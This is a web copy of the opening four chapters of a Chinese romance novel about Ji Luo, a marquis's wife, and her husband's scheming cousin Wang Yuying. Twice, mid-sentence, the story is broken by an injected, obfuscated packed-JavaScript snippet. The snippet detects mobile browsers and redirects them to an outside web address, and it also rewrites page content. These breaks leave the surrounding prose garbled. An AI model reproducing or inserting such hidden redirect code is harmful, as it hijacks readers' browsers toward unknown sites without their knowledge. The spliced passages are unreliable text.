《与夫君和离后》 1. 第一章 临近春日,枝头檐下的积雪渐渐消融,仿若雨水般滴答作响地落了下来,安静而嘈杂。 窗户紧闭着,里间烧了上好的银丝炭,丝丝缕缕的暖意将整间屋子笼罩,即便只穿着里衣,也觉不出冷意来。 纪萝抬手将白玉耳坠摘下,外间便有下人禀报,说是侯爷到了。 她下意识理了理微乱的长发,起身前去迎接。 赵承嘉进来时,她便垂眸行了礼,“侯爷。” “起来罢。”赵承嘉向前两步,恰好握住她的手,温软的触感让他心底生出一些异样,他声音微哑道:“可沐浴过了?” 纪萝垂下眸子,烛火将她白皙的面容映出红润的颜色,她轻轻点头,“可要侍奉侯爷沐浴?” 这副羞怯的模样惹得赵承嘉不由轻笑一声,他抬手捏了捏她略有些发烫的耳尖,道:“不必。” 说罢,他大步走向右侧的浴房。 纪萝左右无事,便依旧翻了翻过几日回纪家准备的礼单,她看得入神,连赵承嘉什么时候回来都并未觉察。 “归家的礼单出了岔子?”赵承嘉的目光扫过那些繁杂的类目,随口问了一句。 纪萝这才回过神来,摇头道:“不曾。” 话音还未落下,赵承嘉便揽住她纤细的腰肢将人抱起,纪萝猝不及防,下意识抓住他的衣角,很快被他放在了床榻上。 他的身子在纪萝眼前笼住了一片光亮,微苦的墨香气息覆了上来,纪萝的身子不由得僵住。 她与赵承嘉已经成婚三年了。 而今夜,是她与赵承嘉第二回如此亲近。 第一回是两日前。 赵承嘉的动作生疏极了,几乎全凭着本能贴近她的身体,而后了结这一切。 过程与纪萝想象中很是不同。 以至于第二日她再回忆起昨日景象时,只觉得身下隐隐作痛。 但今日赵承嘉提前令人过来传话说夜里要过来时,纪萝依旧提前做了准备。 他们二人方才成婚时便遇上老侯爷病重,即便是新婚之夜也未能安宁,后来纪萝在老侯爷病床前侍奉,赵承嘉也因方才继承永宁侯的爵位而颇为忙碌,两人都极为默契地没再提圆房之事。 再之后老侯爷过世,赵承嘉守孝三年,一直都是与纪萝分房而居的。 也就是前几日到了孝期,他才搬回了纪萝院中。 虽说是因着守孝,可依旧是成婚三年而无所出,旁人不会说赵承嘉的不是,只会指点纪萝的是非。 不说赵承嘉的母亲王氏在她面前提过好几回,即便是她前几日收到家中书信,里边洋洋洒洒写着的,也多是催促她尽快为赵承嘉生个孩子。 大约是顾着她好歹也是正经的永宁侯夫人,信中的遣词酌句颇为客气,甚至好似让步般让她即便生个女儿也是好的。 不是嫡长子,先占了嫡长女的位置也好。 否则等赵承嘉再纳了妾室,岂非要旁人占了先。 纪萝看着只觉心烦,可对于与赵承嘉的孩子,她若说当真并无半分期待,却也是假话。 她与赵承嘉的婚事,虽是赵家先来提的婚,可却是她先动的心。 那年长街上意气风发的少年,正撞上她情窦初开的年纪,只匆匆一眼,就被她记在了心上。 后来与赵承嘉的那桩婚事,家中因着攀上永宁侯府而欣喜不已,她虽收敛了神色,心底却还是欢喜的。 嫁入侯府这三年,她与赵承嘉也算相敬如宾,虽无多么炽热的爱意,可赵承嘉待她,向来是不错的,即便在王氏面前,若是刻意刁难,他也是总是维护着她。 而前几日到了孝期,纪萝便也想着,若她能生一个他们的孩子,日子便这样安定下来,也算不错。 赵承嘉的手心抚上她白皙的肩,灼热的烫意如有实质,激得她猛然从回忆中抽离。 许是觉察出她的心不在焉,赵承嘉微微皱眉,“是倩桐又使性子了?” 赵承嘉口中的倩桐是他尚在闺中的妹妹,她是骄纵的性子,原本便不太喜欢纪萝,后来纪萝家中没落,赵倩桐便更是不愿意给她好脸色,还想过不少法子来给她使绊子。 不过一年两年过去,大约觉得纪萝始终是那温吞的性子,便也觉不出折腾她的趣味来,于是才歇了心思。 只是最近赵承嘉脱了孝期,王氏便开始抓着纪萝未有身孕的事来敲打她,赵倩桐有样学样,免不了又开始寻她麻烦。 光是赵承嘉遇上的就不止一回。 不过他也责难了赵倩桐几句,最严重的时候甚至将她关在自个院中数日,最后是王氏亲自向他求了情他才将人放出来。 而后几日应当也就收敛了许多。 只是今日他见纪萝总是心不在焉,才又想起这事来。 纪萝摇摇头,迟疑了片刻后开始开口道:“今日……王家表妹来了府中,大约要在府中住上几日。” 王家表妹便是王氏母家兄长的女儿,虽不算是嫡亲的表妹,但因着两家关系素来亲近,倒也并不曾计较过那些。 表妹名唤玉盈,也是三年前成的婚。 虽只嫁得一个唤做袁庆生的商人,可那袁庆生也是当真有些本事的,如今上京最好的酒楼便是他的产业。 他们二人的这桩婚事,王玉盈家中原本是不情愿的,可王玉盈铁了心要嫁与这人,即便家中使了不少法子要令他们断了,也并未让步,后来王玉盈成婚,她家中父母甚至连嫁妆也不曾备下,只是后来她夫君生意越做越大,王玉盈越发过着富贵日子,她家中父母才松了口。 到如今,这日子也应当是越过越好了。 听得纪萝提及她,赵承嘉的动作微微一顿,似是随口问道:“她来做什么?” 纪萝想起白日里的事,如实将瞧见的景象尽数说了,“我早上去请安时表妹便在,瞧着似乎心情不大好,只是我去之后表妹也不曾说什么,所以我也不知具体……” 听她这般说,赵承嘉也没有再继续问下去了。 王氏向来将纪萝当作外人,有些事不愿意让纪萝听着也是正常。 只是突然提及这事,赵承嘉似乎有些缺了兴致,他侧身躺下,像是在解释般道:“睡吧,今日有些累了。” 纪萝不好说什么,她只得拢了拢里衣,轻轻答应了一声。 *** 翌日,纪萝起身后先侍奉赵承嘉穿戴齐整,等他走了后才开始梳洗。 “姑娘瞧着气色不错。”芸枝一边帮她将长发挽作发髻,一边笑着打趣,“看来还是需得侯爷多多来咱们院中才好。” 她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319056|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪萝从家中带过来的婢子,自小便在身边伺候的,所以若无旁人在,她总还习惯唤纪萝“姑娘”。 左右没有外人在,纪萝便也没有刻意纠正过。 听着芸枝这话,纪萝也没有刻意解释什么,只有些无奈道:“莫要胡言。” 芸枝这才闭了嘴,又从妆匣中挑拣出一对纪萝向来喜欢的珍珠流苏钗子簪在了发髻上,耳坠还是昨日那一对白玉的坠子,如此再换上莲青色衣裙,便将原本有些娇媚的容色压下去几分,又多了些端庄的意味,却也并不突兀,只觉得原本就当如此。 芸枝在一旁瞧着不由有些出神,直至纪萝起身说该去华庆院请安了才回过神来。 主仆二人到了华庆院时赵承嘉与王玉盈都在。 王玉盈眼眶通红,时不时拿手中帕子擦拭着眼角,似乎受了极大的委屈。 而纪萝虽已上前见了礼,可王氏却仿若不曾听到一般,只一门心思地说着宽慰王玉盈的话。 纪萝站在原处,一时有些尴尬。 好在赵承嘉瞧见这副景象,直接拉着她的手坐了下来。 王玉盈不知想起什么,却又开始哽咽起来,泪珠子好似断了线般滴滴落下,她很是委屈道:“是我没有那样好命,竟是选了这种人做夫君,他如今竟在外头养了人,那个女儿还给他生了个孩子,往后若是登堂入室,哪里还有我的去处……” 说罢,又是呜咽着哭了起来。 王氏向来心疼这个外甥女,听得这话也忍不住骂道:“你那夫君从前我也是见过的,瞧着人模人样,哪里想到竟能做出这般不要脸的事儿来,眼下那孩子都已有两岁,分明一早便勾搭上了。” 又道:“阿盈,你莫要害怕,便是你家中人不给你做主,我这个做姑母的也是要给你撑腰的,有我们永宁侯府在,便由不得他胡来!” 纪萝听着这些话,也大概理出了头绪来。 难怪昨日她见王玉盈神色好似有些不对,原来竟是出了这样的事。 王玉盈刚嫁入袁家的那一年,几乎是与她母家断了来往,因着王氏素来疼爱她,倒是带着她那夫君来过侯府几回。 纪萝自然也是见过袁庆生的。 只是她印象中的袁庆生似乎是个不错的人,他虽无官职在身,可在赵承嘉面前也能做到不卑不亢,规矩礼仪都颇为到位,对王玉盈也好到不可思议。 听闻那时王家人实在瞧不上袁庆生,即便王父生辰,他带了礼品前去也依旧被拦在了府外。 而最后是王玉盈独自进了府,至于袁庆生,他竟是生生在府门口等了一日却也并未有半句怨言。 纪萝听说此事的时候,也不免有些感慨,说难怪表妹一门心思要嫁与这袁庆生,果真还是有些道理的。 可不想如今却闹出这样的事情来。 纪萝不好说什么,也只能在心底叹一句,当真是人不可貌相,从前瞧着好好的人,背地里竟也能做出这样的事来。 纪萝正胡思乱想着,有婢子端了早膳进来,她下意识要起身来布菜,却被赵承嘉拉住,他声音闷闷道:“这些事,让她们来做便好。” 纪萝便又坐了回去。 王玉盈却哽咽着将目光落在了赵承嘉身上,哀声道:“倘若当初我嫁的是如表哥这般男子该有多好。” 2. 第二章 话音落下,四周静了一瞬,纪萝也才想起来,赵承嘉与王玉盈之间,好似是有一段隐秘的情事的。 纪萝也是在嫁入侯府后才听得府中的婢子偶然提过一回。 说王玉盈曾在侯府住过一段时日,彼时她并未识得袁庆生,与赵承嘉的关系还很是不错。 毕竟是情窦初开的年纪,两人这般日日相处着,总不免生出些暧昧的心思来。 不过这样的情愫并未存留多久,因为很快,王玉盈在上京的街头遇见了袁庆生,二人一见倾心,之后王玉盈便没再多瞧赵承嘉一眼,只任凭家中如何阻挠,都铁了心要嫁到袁家。 纪萝听说这事时那婢子说得含糊,其中细节皆是几句带过,她想着谁人能没有些过往,她年幼时不也曾为旁人倾心?更何况彼时王玉盈都已是成了婚的,她便也没有太往心里去。 若非王玉盈突然这般说,她怕是早已想不起来这一回事了。 如今想明白这一层,心里也难免有些不舒服。 她下意识微微仰头看向赵承嘉。 赵承嘉却是满脸不耐之色,“胡说八道什么?” 他往纪萝碗中夹了一块点心,“你自己的事别天天到我们跟前来说,阿萝最近正要好好养着身子,她心思软,你说这样的话只会惹得她烦了心,如何能安心养好身子?” 他言语之间皆是维护纪萝,竟是半分不愿让她受委屈。 纪萝鲜少见得赵承嘉这般没有耐心,虽有些意外,可到底他是在维护着自己,于是便也不曾多想。 王玉盈被赵承嘉突然这般斥责了一句,心底越发委屈,竟是伏在王氏身上哭了起来。 王氏见她这副梨花带雨的模样,实在心疼,一边拿了帕子给她擦着眼泪,一边责怪赵承嘉,“瞧你说的这是什么话,阿盈好歹是你表妹,她遇上了这样的事,不过和你多抱怨了几句,你怎么就只顾着别人了?” 赵承嘉搁下手中筷子,冷笑一声道:“阿萝是我的妻子,不是别人。” 说罢,纪萝还未曾回过神来,便被他拉着大步往院子外走去,任凭王氏气得拍了桌子也只当未曾听到。 出了华庆院,赵承嘉才停下步子来,“阿萝,这几日你就不必来华庆院请安了,省得母亲发了脾气却还要刻意为难你。” 纪萝一怔,看着眼前这处处为自己周全的男人,她心下不由有些感动,可却还是摇了摇头,“若我当真就这般避着,母亲恐怕更是对我不满,日子总要继续过下去,避得了一时也没法子永远避开,她毕竟是侯爷的母亲。” 王氏现在的心思其实都在王玉盈身上,倒也不至于当真如何刁难她。 若是她连请安这样的小事都不做,只会让人抓着她的把柄,反而要给她扣个不孝的名头,即便她将府中诸事都处理得极为妥帖也依旧少不了要被旁人指点。 她自是不会在这种事上边犯蠢。 “阿萝,你总是这样懂事。”赵承嘉心头涌上一阵异样的感觉,他握着纪萝的手,半晌,他道:“明日岳丈生辰,我陪你一同回去。” 明日是纪父的生辰,纪萝前几日与赵承嘉提过,只是那时赵承嘉说近来手中事务颇多,又让她多备些礼品上门,应当便是不能陪她一同归家了。 纪萝虽有些失望,但也并未埋怨什么,只让他以公事为重,这会儿听他这样说,却有些迟疑道:“侯爷明日当真有时间?若是实在错不开身来,我自己回去也是可以的。” 纪萝知道,赵承嘉的忙碌并非是假的。 他继承永宁侯的位置不过两年,从前的老侯爷也不过从先人手中得了这个位置,却并未在这位置上做出什么功绩来,就这样做了一辈子的富贵闲人。 这样的一个人,过世前却浑然如同变了一个人,拉着赵承嘉说了许多,一遍遍要他撑起侯府的门楣来。 如今楚国的天子是几年前才登基的新帝,行事与先帝很是不同,才登基的第二年便因一桩贪墨的案子牵扯到彼时在上京颇有些根基的梁家,他甚至分毫不曾顾念那梁家女原本是要准备着入宫为后的。 梁家之事后,上京其余世家也见识了这位新帝的手段,行事皆谨慎稳妥许多,天子便也并未再急着动这些世家的利益,只是却也在朝中隐晦提过,说是子承父爵这样的规矩让楚国多了不少坐吃空饷的蛀虫,若为父者担不起这爵位,那子承这位置便应当低一品级,公府变侯府,侯府变伯府,如此往后,直至贬为庶人。 这话虽只是提了一回,可却足以令朝中那些人吓得冷汗涔涔,偏偏天子说这话时嘴角含着笑,谁也揣测不出他是否是当真有此想法。 不论如何,这确实给彼时朝中那些坐稳爵位自以为高枕无忧之人提了一醒,再不敢只贪空响却不办实事了。 赵承嘉如今才承了爵位不过两年,自是更应事事用心,万不能出了岔子。 所以此时纪萝也不免多问了一句。 “放心。”赵承嘉安抚似的理了理她鬓边碎发,“明日我无事。” 纪萝安心下来,她乖巧地点了点头。 *** 王玉盈暂时在永宁侯府住了下来。 王氏将她安排在了华庆院旁边的观荷院,说是方便能时常陪自己说说话。 王玉盈也却是是个会说话的。 因着早膳时赵承嘉摔了筷子,牵着纪萝的手就那样走了,自然是将王氏气得不行。 王玉盈在一旁却三言两语将事情尽数推到了纪萝身上,这样王氏心里反而好受了不少。 她道:“也是你姑父眼皮子浅,见她父亲升迁便觉得纪家往后是能在朝中站稳脚跟的,谁能想到她才嫁过来不久就出了事,官阶降下去了不说,手里头更是半分实权都没有,莫说是帮衬着你表哥了,不拖累就已经是千恩万谢了。” 王玉盈道:“我原本瞧着表嫂是个温吞的性子,虽有些小家子气了,可这样的性子至少不至于挑拨出是非来,可不想……背地里竟也能做出这般事情来。” 又叹了口气道:“表哥向来很是孝顺,他今日这般忤逆,又事事维护着表嫂,唉,只能说表嫂实在是厉害的,能将夫君教成这般,若我能有她十之一二的本事,也不至于连夫君在外头养了外室都浑然不觉。” 说着,又掉了几滴眼泪。 王氏又安慰了她几句,无非说了些踩着纪萝捧着她的话,才算止住了她的眼泪。 午间,王氏向来有午憩的习惯,王玉盈侍奉着她睡下之后便回了观荷院。 贴身侍奉的婢子凝芳上前低声道:“姑娘安排去袁家的人传了消息回来,说是那袁庆生骤然受了这般打击,这两日都是浑浑噩噩的,连生意上的事儿都不上心了。” 从离了袁家,王玉盈便令她只唤自己姑娘,凝芳虽觉得有些古怪,但好在很快适应了过来。 王玉盈轻笑了一声,“由着他去,他既是当真将那母子二人接回了家中,这桩罪名便定死在了他身上,任凭再如何解释也说不清了。” 王玉盈初捅破此事之事,袁庆生是无论如何也不愿相信的,可她特意做了安排,在那碗滴血验亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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袁庆生在数年后被牵进了一桩谋逆案中,有人拿了确凿的证据证明袁庆生曾为谋逆一党供给钱财,天子仁慈,只判了流放之刑,可王玉盈这些年来一直被袁庆生娇养着,几乎是捧在手里怕摔了,含在嘴里怕化了,怎会吃得了这种苦头? 即便袁庆生拿出了所有私藏的银子央求那些差役对她好些,她也依旧觉得煎熬无比。 终于有一日,她艰难吞咽着手中那半块馒头,目光死死地盯着那条回上京的道路,任凭一旁袁庆生与她说什么也未曾回应。 ——其实她已经很久没有与袁庆生说过话了。 她心里怨着袁庆生,觉得是他将自己置于这般境地中,便再也不肯与他多说一句话。 那天夜里,她借着去如厕的由头仓皇失措地往那条她看了千万次的道路跑去,她不知道自己要去往何处,能去往何处,心里唯有一个念头,便是要逃离这儿。 去哪里都好,她要逃离这儿。 差役很快觉察出不对,他们大声呼喊着,点了火把沿着道路搜寻。 王玉盈不知道她最后是否被那些差役找到,因为她实在太恐惧了,在稀薄得几乎被黑暗吞没的月色中一脚踩空,跌进了一处断崖。 那断崖其实不算高,只是她运气差了些,头正好磕在了一块尖石上,疼痛感袭来,她很快没了气息。 其实运气也不算很差,因为她再睁开眼来,发觉她竟是回到了嫁与袁庆生的第三年。 彼时,她才怀上袁庆生的孩子,甚至还未曾来得及告诉他…… 3. 第三章 纪萝提前备好了归家所需的礼品。 第二日一早便要动身归家。 临出门时赵承嘉还未回来,纪萝便以为他应当是赶不回来了。 不想她才上了马车,外头却有人掀了帘子进来,正是赵承嘉。 他身上的衣服还算齐整,显然是才匆匆换过的,而眼下的乌青更是分明,昨日夜里应当并未怎么歇息。 纪萝心底有些感动,“侯爷其实可以不必陪我回去的。” 他们成婚已有三年,偶有几回没有陪她归家也并非不能理解,可偏偏赵承嘉即便脱不开身也依旧抽出时间来陪着她。 “无事。”赵承嘉似乎看出她心底所想,将她的手握于掌心道:“我今日休沐,原本就该好好陪陪你。” 纪萝靠进他的怀里,轻轻点了点头。 永宁侯府距离纪府有一段距离,马车行了约有两个时辰,才终于在纪府门前停下。 今日虽是纪明林的生辰,可纪家这次并未有大操大办,只简单作了安排,前来的客人都只是关系较为亲近的亲朋。 赵承嘉的身份不一般,纪明林对这个女婿也很是看重,得知侯府的马车已经到了,便匆忙亲自出来迎接。 纪萝与赵承嘉下了马车时,纪明林与夫人魏氏以及小女儿纪敏敏都已经在府门前等着了,见他们下了马车,也纷纷迎了上来,甚为恭敬地向二人行礼,“见过侯爷,夫人。” 赵承嘉忙将人搀扶起来,“岳丈岳母何必这般客气?” 见赵承嘉在自己面前态度如此谦逊,纪明林面上笑意又深了几分,身居侯爷之位的女婿在自己面前态度这般小心,自然极大的满足了他的虚荣心。 二人如此,又在外间说了几句面子上的客套话,而后才一起进了府。 府中的宴席早已备下,几人落了坐,便很快开了席。 席中言语不多,大多只是说起桌上哪道菜做得用心,是素日纪萝喜欢的,又邀赵承嘉也尝尝。 赵承嘉也都应着。 一顿饭吃下来,也算其乐融融。 席后,赵承嘉与纪明林在书房说话,魏氏便让纪萝去了她房中,说是有东西要给她。 一进房中,魏氏便吩咐婢女去拿了一支簪子过来,簪子是玉质的,触手还算温润通透,应当是费了些银子的。 魏氏将那簪子簪在纪萝发间,而后左右看了看,笑着道:“是适合你的,那日在街上瞧见,我就说这簪子若是簪在咱们阿萝发上,定然是好看的,想着等什么时候你回了家定要亲手给你带上……” 她说这些话时,纪萝就安静地听着,目光下意识地落在她的发间。 纪萝发现,魏氏竟生了白发。 她是纪明林的续弦,算算到如今,其实也不过才三十五六,发间却已经能极为分明地瞧见那一根根银白的发丝。 这几年来,魏氏苍老了不少。 纪萝还记得,魏氏才嫁入侯府时,也曾是意气风发的。 对纪萝这个前头夫人的女儿,她也向来是不掩饰敌意。 后来生下了纪明林的第一个儿子,她便更是扬眉吐气,那些继母刁难的手段,她都尽数用在了纪萝身上。 但无非也就是夏日里缺了她的冰,冬日里短了她的炭罢了。 提及这些事,纪萝其实对魏氏也并未有多少怨恨。 更何况后来魏氏的孩子落了水,才六岁的孩子生生溺毙在了湖中,这些所谓的恩怨,便也就更没了计较的必要。 那孩子没了之后,魏氏的性子便也收敛了许多,再后来她生下女儿纪敏敏,连带着对纪萝的事情也多上了心,好似当真也将她当作了自个的女儿。 魏氏生下纪敏敏之后身子便不如从前了,纪明林却还存了心思,于是又纳了几房妾室,只是直至如今腹中都并未有动静,前几日听说又纳了一房,大约是还未曾歇了这般心思。 魏氏瞧着对这事倒是并不在意,想来是已经麻木。 纪萝正想着,魏氏却又拿出一对平安符来,“这个你拿着,夜里回去放在枕头底下,你与侯爷枕下各一个,对你有好处的。” 纪萝下意识问,“这是什么?” “求子的。”魏氏笑了笑,“这寺庙的求子符向来灵验,我去求过三回,一回生了文耀,一回便是敏敏,再如今便是为你与侯爷求了这一对生子符。” 文耀便是魏氏前头为纪明林生下的那个孩子。 纪萝迟疑着推脱,“还是算了,这些怪力乱神的说法我与侯爷向来都是不信的。” 魏氏却将那生子符塞到她的手中,“用与不用在你,阿萝,你与侯爷已经成婚三年有余了,我瞧着侯爷对你也是很好的,若你心底也存了想有个孩子的念头,说不定有用得上的时候呢?” 纪萝心下微动,到底是将这生子符收了起来。 两人又说了些闲话,外间却有嬷嬷敲门,“夫人,敏敏小姐闹着要见您,闹了好一会脾气,奴婢拗不过只能将她带过来了。” 话音未落,又听得纪敏敏在外边吵嚷着,声音略有些沙哑,显然是刚刚哭过一场。 纪萝见此,便起身道:“想来侯爷与父亲应当也说完话了,母亲陪着敏敏,我便先走了。” 魏氏听了这句“母亲”,张了张嘴似乎想说些什么。 可最终还是只点点头,“路上小心些,日后若有空闲,常回家中来。” 纪萝又是一一应着,才推门出去。 她出去时那嬷嬷正抱着纪敏敏在门口候着,那嬷嬷见了纪萝便垂首道,“见过侯夫人。” 纪萝的目光落在纪敏敏身上,这孩子才不过四岁,是个粉嫩的雪团子,这会儿窝在嬷嬷怀中,怯生生的看着纪萝。 许是发觉纪萝正看着怀中的孩子,嬷嬷出声提醒了一句,“小姐,这位是侯夫人,也是你姐姐,你该唤一声姐姐的。” 雪团子眨了眨眼睛,当真小声地唤了她一声,“姐姐。” 她的声音很是软糯,让纪萝的心一下子就化了,忍不住伸手捏了捏她稍稍有些圆润的小脸,而后笑着道:“敏敏的母亲正在里间等着,快进去罢。” 嬷嬷这才垂首向纪萝告退。 纪萝到了正厅时赵承嘉也刚从书房回来,纪明林也在,他一路陪着赵承嘉过来。 两人到了回去的时辰,纪明林又将二人送至府门口。 等纪萝正要上马车的时候,他却有些嫌恶的抱怨了一句,“这个魏氏,怎么越来越不懂规矩了,也不知道过来送一送!” 纪萝恰好听得这话,便忍不住为魏氏说了句话,“方才敏敏闹着要 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纪萝想起方才魏氏那一番话,面色不由微微发烫,她垂下眼眸,迟疑了好一会才道:“侯爷,我们是不是该要个孩子了。” 赵承嘉的母亲也好,妹妹也好,甚至魏氏与纪明林都觉得他们眼下该要个孩子了。 纪萝也未尝没有这样的念头。 特别是方才见到那软糯得不行的雪团子纪敏敏之后,她这样的念头更是一下子便窜了出来,甚至又了几分迫切的意味。 只是她不知赵承嘉心里如何想。 她与赵承嘉,似乎还从未认真谈过这事。 大约是没想到纪萝会突然提及这事,赵承嘉一愣,但很快回了神,他笑着揽过纪萝的腰身,道:“阿萝想要个孩子那还不容易?” 纪萝脸上的红晕一下染到了耳朵根,她听得赵承嘉在她耳旁压低声音道:“我今夜过来。” 可当夜,赵承嘉却并未过来。 纪萝提前沐浴换衣,等待的间隙,她将魏氏给的那两枚生子符看了又看,终于还是收了起来。 她想着,这种事还是需要些缘分的。 但不曾想她等了一个时辰后,赵承嘉院中的随从青墨却来人过来传了话,说是侯爷还有些事务未曾处理妥当,今夜怕是不能过来了,让纪萝早些歇息。 纪萝听了这话,若说并不失望那肯定是假的,但却也不好说什么,只能勉强道:“我知道了,还劳烦你给侯爷带句话,让他早些歇息,公事虽要紧,却也不能熬得太晚伤了自个的身子。” 青墨下意识避开纪萝的目光,垂首应了个“是”。 之后便匆忙走了。 芸枝抬眸多看了他的背影几眼,有些奇怪道:“往日没见过这青墨这般不稳重啊?怎么今日这般着急?” 纪萝却只转了身往里间走去,“今日有些累了,早些歇息罢。” 芸枝应着,关上了房门。 *** 赵承嘉此时正在侯府的书房。 可他却并未在处理事务,只是神色倦怠地坐在书案旁,似乎正在为什么事烦心。 书房内被清扫过,窗户也都开着,却还是隐约能闻到一股汤水的味道。 就在方才,王玉盈过来了一趟。 4. 第四章 王玉盈是以王氏的名义过来的。 她进来书房时还端了一碗熬得浓稠的鸡汤。 “表哥,熬夜伤身,这鸡汤正是补身子的,夜里熬了好几个时辰呢。”她抿唇笑着,看向赵承嘉的目光很是关切,“表哥今日往纪家去了一趟,定然是累极了。” 赵承嘉没应她的话,只皱眉问她,“是母亲让你过来的?” 王玉盈将那碗鸡汤端到赵承嘉面前,语气里添了几分撒娇的意味,“表哥喝了这鸡汤,我就与你说。” 赵承嘉的目光冷了下来,他盯着眼前的人,语气生硬道:“我不喝。” “我等下要去看阿萝,如果没什么事,你就先回去吧。” 王玉盈对上他那泛着冷意的目光,眼眶一下子就红了,“表哥可是还在怨我?” 怨她当初舍下了与他那份情意,执着地要嫁给袁庆生。 “过去的事就让他过去吧。”赵承嘉避开她的目光,“你我都各自成婚,那些过去便也应当忘了。” 王玉盈用帕子揩泪,“那便不提过去的事儿了,表哥先喝了这鸡汤吧,也算让我和姑母有个交代。” 赵承嘉瞥了一眼桌面上那碗鸡汤,乳白色的汤水上漂浮着浑黄的油星子,应当确实是费心思熬了数个时辰的。 可此时,他却一点胃口也没有。 王玉盈见他迟疑,又端起那碗汤在唇边稍稍吹凉了些,而后往前一步才送到赵承嘉面前,笑着道:“放心吧,已经不烫了。” 两人这时的距离贴得稍稍近了些,赵承嘉下意识抬眸,便正好对上了王玉盈的目光。 而也恰好在这时,青墨推门进来,“侯爷,时辰差不多了……” 他话才说了一半便僵在了那儿。 许是心虚,听得青墨进来,赵承嘉下意识移开目光,王玉盈却被吓得往后推了半步,腰身正好撞在了书案上,手中那碗汤更是洒了一大半。 青墨这会儿进来是过来提醒赵承嘉该去青萝院了。 赵承嘉回来时刻意与他说了一句,说今夜要去青萝院歇着。 青墨眼看着时辰不早了,犹豫了几番,还是想着过来提醒一句。 他跟在赵承嘉身边数年,两人关系虽是主仆,却也并非只是主仆,所以许多时候并不会在意这样许多规矩。 这会儿推门进来,也没想过里间会是这般景象。 因着太过震惊,他一时说不出话来。 王玉盈神色很是难堪,匆匆行了一礼就转身出去了。 片刻之后,青墨听得赵承嘉有些疲累道:“今夜不去青萝院了,你去给阿萝带句话,就说我手头还有些事务不曾处理妥当,让她先歇息,不必等我了。” 青墨默了默,到底点头应下。 等青墨走后,赵承嘉坐在书案旁,眼底却是一片茫然。 他今夜不去见纪萝并非因为旁的,而是觉得有些无法面对纪萝,虽然他与王玉盈之间好似什么都没有发生,可他总觉得,有些东西已经生出了变化。 偏偏是在这时候,偏偏是他已经决定放下过去的一切,好好与纪萝过日子的时候。 他缓缓闭上眼睛,不论如何,他不该让自己的心再游移。 他该……与纪萝好好在一起。 *** 纪萝依旧像往日一般一早去华庆院请安。 这个时辰赵承嘉去宫中早朝还不曾回来,王玉盈却是在的。 见纪萝过来,王氏依旧只顾着与王玉盈说话,连半分眼神也不曾落到纪萝身上,更不提留她在华庆院用早膳。 纪萝倒不在意,如此她还自在许多,于是只简单请了安之后便回了青萝院。 纵然王氏对她颇为不满,可府中中馈却是早已交于她手,加之赵承嘉也向来对她颇为维护,所以在这侯府的日子,其实一直不算难过。 此时回了青萝院,芸枝也马上令人从厨房端了吃食过来,无论是点心还是粥类都有,比起华庆院也相差无几。 不过纪萝早膳向来用得简单,也知芸枝是想着宽慰她所以如此安排,所以并未多说什么。 只想起赵承嘉,又吩咐底下人令厨房再熬了一盅鸡汤。 而后才简单用了早膳。 这几日忙着回纪府之事,倒是落下了府中事务。 于是又令芸枝拿来了府中账本。 赵承嘉虽有永宁侯的爵位,可当今天子削减臣子俸禄,他每月能拿到的月俸也并不算多,不过侯府在上京还有几间写在王氏名下的铺子,这铺子明面上与侯府没有关系,可实际上每月的盈利却都入了侯府,侯府家大业大,如此才能勉强支撑。 这边也让纪萝需得在操持家事中费不少心思,否则若是入不敷出,家中便迟早会有出岔子的时候。 毕竟在官场中,人情往来总是不少,若等那时连件像样的礼品都拿不出,岂非要被人耻笑? 这会儿纪萝用心对着账目,这几日府中并无额外支出,有的只是因着王玉盈过来,王氏便给她添置了一些物件,虽都是上好的东西,可毕竟来者是客,倒也说得过去。 纪萝一眼瞧过去,却在这一页账目的末端瞧见赵倩桐在库房支了一笔银子,竟是整整一百两。 纪萝的眉头不由皱了起来,“我记得前几日倩桐便支过一笔银子,也是一百两,怎么昨日又支了一百两?” 一百两银子实在不是小数目,不过赵倩桐性子向来骄纵,莫说是纪萝,便是王氏也不太能管得了她,所以库房那边的人不敢违抗她的意思也是正常。 芸枝听纪萝问起这事,才突然想起一桩事来,于是连忙道:“今早这账本送过来的时候是听库房那边的人提了一句,说是昨日倩桐小姐去支银子事,他们多问了几句,毕竟这数目不小,便想着等姑娘您回来先向您禀报一声。” “可倩桐小姐却发了脾气,说了好些难听的话,库房那边的人没法子,只能支了这笔银子。” 纪萝叹了口气,“她向来是这样的性子,铁了心要拿这银子库房那边的人拦不住也是正常。” 她将这账本合上,又道:“给库房那边的人带句话,下回她若是再要支这样一笔银子,就让她来和我说,若我不在,任凭她说什么都不能松口,便是她将这事告到母亲那里,也有我来担着,让他们大胆些就是。” 芸枝应 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她说着翻开账本,在几处赵倩桐的支出上点了点,前日在文翠坊买了一对蝴蝶琉璃的簪子,支了三十两,再往前两日,在流玉坊也是买了一对簪子,不过是玉兰样式的,支了二十两,随便翻上几页,关于赵倩桐的支出上边都有明确写明具体是用于何处。 倒不是有旁的缘故,只是赵倩桐向来不会刻意隐瞒,只要支银子,她一张口便会说明要买哪样物件,库房的人经纪萝交代过,做事向来是心细的,所以都会一一记上。 可偏偏这两回的支出却不同。 明明一回就要了一百两这样大的数目,却对用于何处三缄其口,这实在不像赵倩桐的性子。 听到此处,芸枝也觉出不对来了,“这样说来确实有些古怪,库房那边的人还多问了几句,可倩桐小姐也不肯告知,恐怕这笔银子是要用在不能示于人前的地方,可是……” 她有些想不明白,“可是倩桐小姐能将这银子用于什么地儿去呢?偏偏这事还不能让旁人知晓,总不会……” 她脑子里有了个荒唐的想法。 